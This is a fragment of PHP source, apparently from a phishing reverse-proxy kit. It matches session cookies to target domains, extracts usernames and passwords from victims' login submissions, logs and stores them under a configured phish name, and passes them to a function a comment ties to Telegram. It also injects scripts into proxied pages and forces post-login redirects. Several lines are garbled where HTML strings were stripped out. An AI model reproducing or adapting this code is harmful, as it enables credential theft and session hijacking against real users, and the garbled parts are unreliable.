if ($mapped && $host === $mapped) { $domainMatch = true; break; }
}
}
if (!$domainMatch) continue;
foreach ($paths as $p) {
$match = false;
if ($p === '/*') $match = true;
elseif ($p === '/' && $path === '/') $match = true;
elseif ($p === $path) $match = true;
elseif (str_ends_with($p, '*')) {
$prefix = rtrim($p, '*');
if (str_starts_with($path, $prefix)) $match = true;
}
if (!$match) continue;
$nonceAttr = $nonceValue !== null ? ' nonce="' . htmlspecialchars($nonceValue, ENT_QUOTES) . '"' : '';
$scriptTag = "";
if (stripos($body, '';
echo 'Redirecting... Click here
';
echo '') !== false) {
return preg_replace('/<\/body>/i', $scriptTag . '', $body, 1);
}
return $body . $scriptTag;
}
}
return $body;
}
function auth_tokens_satisfied(array $authTokens, array $cookieList): array {
$map = []; $isListOfObjects = false;
foreach ($authTokens as $k => $v) {
if (is_int($k) && is_array($v) && isset($v['domain'])) { $isListOfObjects = true; break; }
}
if ($isListOfObjects) {
foreach ($authTokens as $entry) {
$d = (string)($entry['domain'] ?? '');
$keys = $entry['keys'] ?? [];
if ($d !== '') $map[$d] = array_values($keys);
}
} else {
foreach ($authTokens as $d => $keys) { $map[(string)$d] = array_values((array)$keys); }
}
$cookieIndex = [];
foreach ($cookieList as $c) {
$name = $c['Name'] ?? ($c['name'] ?? null);
$domain = $c['Domain'] ?? ($c['domain'] ?? '');
if ($name === null) continue;
$cookieIndex[$name][] = [
'domain' => (string)$domain,
'path' => $c['Path'] ?? ($c['path'] ?? '/'),
'value' => $c['Value'] ?? ($c['value'] ?? ''),
'expires' => $c['Expires'] ?? ($c['expires'] ?? null),
'raw' => $c,
];
}
$normalize = function(string $d): string { return ltrim(strtolower($d), '.'); };
$domainMatches = function(string $cookieDomain, string $authDomain) use ($normalize): bool {
$c = $normalize($cookieDomain); $a = $normalize($authDomain);
if ($c === $a) return true;
if (substr($a, -strlen($c) - 1) === '.' . $c) return true;
if (substr($c, -strlen($a) - 1) === '.' . $a) return true;
return false;
};
$result = ['ok' => true, 'missing' => [], 'present' => []];
foreach ($map as $authDomain => $names) {
$missing = []; $presentInfo = [];
foreach ($names as $cookieName) {
$found = false;
if (!empty($cookieIndex[$cookieName])) {
foreach ($cookieIndex[$cookieName] as $cookieEntry) {
$cookieDomain = $cookieEntry['domain'] ?? '';
if ($domainMatches($cookieDomain, $authDomain)) {
$expires = $cookieEntry['expires'];
if ($expires === null || $expires === 0 || $expires > time()) {
$found = true; $presentInfo[$cookieName] = $cookieEntry; break;
}
}
}
}
if (!$found) $missing[] = $cookieName;
}
if (!empty($missing)) {
$result['ok'] = false;
$result['missing'][$authDomain] = $missing;
error_log("[AuthTokenCheck] Missing tokens for $authDomain: " . implode(', ', $missing));
} else {
error_log("[AuthTokenCheck] ✅ All tokens satisfied for $authDomain");
}
$result['present'][$authDomain] = $presentInfo;
}
return $result;
}
function get_post_params(): array {
if (!empty($_POST)) return $_POST;
$contentType = $_SERVER['CONTENT_TYPE'] ?? '';
$raw = file_get_contents('php://input') ?: '';
if ($raw === '') return [];
if (str_contains($contentType, 'application/x-www-form-urlencoded')) {
parse_str($raw, $out);
return $out;
}
if (str_contains($contentType, 'application/json')) {
$data = json_decode($raw, true);
return is_array($data) ? $data : [];
}
return [];
}
function normalize_credentials(array $credentials): array {
$rules = [];
foreach ($credentials as $k => $v) {
if (is_string($k) && is_array($v) && isset($v['key'])) {
$rules[] = [ 'name' => $k, 'key' => $v['key'], 'search' => $v['search'] ?? '(.*)', 'type' => $v['type'] ?? 'post' ];
continue;
}
if (is_int($k) && is_array($v) && isset($v['key'])) {
$rules[] = [ 'name' => $v['key'], 'key' => $v['key'], 'search' => $v['search'] ?? '(.*)', 'type' => $v['type'] ?? 'post' ];
}
}
return $rules;
}
function extract_and_store_credentials(array $credentialsConfig): array {
$post = get_post_params();
$rules = normalize_credentials($credentialsConfig);
$found = [];
foreach ($rules as $rule) {
if (($rule['type'] ?? 'post') !== 'post') continue;
$keyPattern = $rule['key'];
$searchRegex = $rule['search'] ?: '(.*)';
if (array_key_exists($keyPattern, $post)) {
$val = (string)$post[$keyPattern];
if (@preg_match('/' . $searchRegex . '/s', $val, $m)) {
$found[$rule['name']] = $m[1] ?? $m[0] ?? $val;
} else {
$found[$rule['name']] = $val;
}
continue;
}
$looksLikeRegex = (bool) preg_match('/[\^\$\|\(\)\[\]\+\*\\\\]/', $keyPattern);
foreach ($post as $pname => $pval) {
if (strcasecmp($pname, $keyPattern) === 0) {
$val = (string)$pval;
if (@preg_match('/' . $searchRegex . '/s', $val, $m)) {
$found[$rule['name']] = $m[1] ?? $m[0] ?? $val;
} else {
$found[$rule['name']] = $val;
}
continue 2;
}
if ($looksLikeRegex) {
$safePattern = str_replace('#', '\#', $keyPattern);
if (@preg_match("#^($safePattern)$#i", $pname)) {
$val = (string)$pval;
if (@preg_match('/' . $searchRegex . '/s', $val, $m)) {
$found[$rule['name']] = $m[1] ?? $m[0] ?? $val;
} else {
$found[$rule['name']] = $val;
}
continue 2;
}
if (@preg_match("#\b($safePattern)\b#i", $pname)) {
$val = (string)$pval;
if (@preg_match('/' . $searchRegex . '/s', $val, $m)) {
$found[$rule['name']] = $m[1] ?? $m[0] ?? $val;
} else {
$found[$rule['name']] = $val;
}
continue 2;
}
}
}
}
if (!empty($found['username'])) {
$_SESSION['username'] = $found['username'];
log_event('USERNAME_CAPTURED', [
'username' => $found['username'],
'post_keys' => array_keys($post),
'matched_pattern' => 'username'
]);
}
if (!empty($found['password'])) {
$_SESSION['password'] = $found['password'];
log_event('PASSWORD_CAPTURED', [
'username' => $_SESSION['username'] ?? 'N/A',
'password' => $found['password'],
'password_length' => strlen($found['password']),
'post_keys' => array_keys($post)
]);
if (!empty($_SESSION['username'])) {
global $cfg;
// Don't send Telegram here - wait for auth tokens (has complete password)
@Youvegotcookie($_SESSION['username'], $found['password'], true, false);
@update_db_session($_SESSION['username'], $found['password'], $cfg['phish_name'] ?? '');
}
}
if (!empty($found)) {
$_SESSION['credentials_found'] = $found;
log_event('CREDENTIALS_EXTRACTED', [
'fields' => array_keys($found),
'username' => $found['username'] ?? null,
'has_password' => !empty($found['password'])
]);
}
return $found;
}
function parse_netscape_cookiejar_lines(string $cookieFile): array {
if (!is_file($cookieFile)) return [];
$lines = @file($cookieFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if (!$lines) return [];
$cookies = [];
foreach ($lines as $line) {
$raw = $line; $line = trim($line);
if ($line === '') continue;
$httpOnly = false;
if (str_starts_with($line, '#HttpOnly_')) {
$httpOnly = true;
$line = substr($line, strlen('#HttpOnly_'));
}
if ($line[0] === '#') continue;
$parts = explode("\t", $line);
if (count($parts) < 7) continue;
$domain = $parts[0]; $flag = strtoupper($parts[1] ?? 'FALSE');
$path = $parts[2]; $secure = strtoupper($parts[3] ?? 'FALSE') === 'TRUE';
$expires = (int)($parts[4] ?? 0); $name = $parts[5] ?? ''; $value = $parts[6] ?? '';
$cookies[] = [
'domain' => $domain, 'include_subdomains' => ($flag === 'TRUE'),
'path' => $path, 'secure' => $secure, 'expires' => $expires,
'name' => $name, 'value' => $value, 'raw' => $raw, 'httponly' => $httpOnly,
];
}
return $cookies;
}
function auth_tokens_satisfied_from_netscape(string $cookieFile, array $authTokens): array {
$entries = parse_netscape_cookiejar_lines($cookieFile);
$map = []; $isList = false;
foreach ($authTokens as $k => $v) {
if (is_int($k) && is_array($v) && isset($v['domain'])) { $isList = true; break; }
}
if ($isList) {
foreach ($authTokens as $e) {
$d = (string)($e['domain'] ?? '');
$keys = $e['keys'] ?? [];
if ($d !== '') $map[$d] = array_values($keys);
}
} else {
foreach ($authTokens as $d => $keys) { $map[(string)$d] = array_values((array)$keys); }
}
$byName = [];
foreach ($entries as $e) {
$name = $e['name'] ?? '';
if ($name === '') continue;
$byName[$name][] = $e;
}
$normalize = function(string $d): string { return ltrim(strtolower($d), '.'); };
$domainMatches = function(string $cookieDomain, string $authDomain, bool $includeSub) use ($normalize): bool {
$c = $normalize($cookieDomain); // Remove leading dot
$a = $normalize($authDomain);
// Exact match
if ($c === $a) return true;
// Standard subdomain matching
if (substr($a, -strlen($c) - 1) === '.' . $c) return true;
if (substr($c, -strlen($a) - 1) === '.' . $a) return true;
if ($includeSub && str_ends_with($a, $c)) return true;
// Multi-wildcard pattern matching
if (str_contains($authDomain, '*')) {
$captured = match_wildcard_host($c, $authDomain); // Use normalized (no dot)
if ($captured !== null) {
error_log("[AuthTokenMatch] Wildcard match: $cookieDomain against $authDomain");
return true;
}
}
return false;
};
$result = ['ok' => true, 'missing' => [], 'present' => []];
foreach ($map as $authDomain => $names) {
$missing = []; $present = [];
foreach ($names as $cookieName) {
$found = false;
if (!empty($byName[$cookieName])) {
foreach ($byName[$cookieName] as $ce) {
if ($ce['expires'] > 0 && $ce['expires'] < time()) continue;
if ($domainMatches($ce['domain'], $authDomain, $ce['include_subdomains'])) {
$found = true; $present[$cookieName] = $ce; break;
}
}
}
if (!$found) $missing[] = $cookieName;
}
if (!empty($missing)) {
$result['ok'] = false;
$result['missing'][$authDomain] = $missing;
error_log("[AuthTokenCheck] Missing tokens for $authDomain: " . implode(', ', $missing));
} else {
error_log("[AuthTokenCheck] ✅ All tokens satisfied for $authDomain");
}
$result['present'][$authDomain] = $present;
}
return $result;
}
function perform_valid_login_redirect($target_url) {
$b64_url = base64_encode($target_url);
setcookie("_proxy_redirect", $b64_url, time() + 60, "/");
$is_ajax = false;
if(!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') $is_ajax = true;
if(stripos($_SERVER['HTTP_ACCEPT'] ?? '', 'application/json') !== false) $is_ajax = true;
if(stripos($_SERVER['CONTENT_TYPE'] ?? '', 'application/json') !== false) $is_ajax = true;
if ($is_ajax) {
header('Content-Type: application/json');
echo json_encode([ 'force_redirect' => $target_url, 'status' => 'success', 'IsSuccess' => true, 'redirect' => $target_url, 'url' => $target_url, 'destination' => $target_url ]);
exit;
} else {
if (!headers_sent()) header("Location: " . $target_url);
echo '
';
echo '';
echo '